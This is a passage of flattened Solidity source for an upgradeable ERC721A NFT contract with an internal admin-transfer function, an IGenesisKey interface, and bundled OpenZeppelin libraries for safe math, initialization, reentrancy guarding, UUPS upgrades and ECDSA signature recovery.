"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; string private defaultBaseURI; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721A_init( string memory name_, string memory symbol_, string memory defaultBaseURI_ ) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721A_init_unchained(name_, symbol_, defaultBaseURI_); } function __ERC721A_init_unchained( string memory name_, string memory symbol_, string memory defaultBaseURI_ ) internal initializer { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); defaultBaseURI = defaultBaseURI_; } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } // returns owners from [startIndex, endIndex] inclusive function multiOwnerOf(uint256 startIndex, uint256 endIndex) external view returns (address[] memory) { require(startIndex <= endIndex); address[] memory addrBalances = new address[](endIndex - startIndex + 1); for (uint256 i = 0; i <= endIndex - startIndex; i++) { addrBalances[i] = ownerOf(startIndex + i); } return addrBalances; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return defaultBaseURI; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721AUpgradeable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _adminTransfer( address from, address to, uint256 tokenId ) internal { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns ( bytes4 retval ) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[43] private __gap; } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IGenesisKey { function claimKey(address recipient, uint256 _eth) external payable returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, 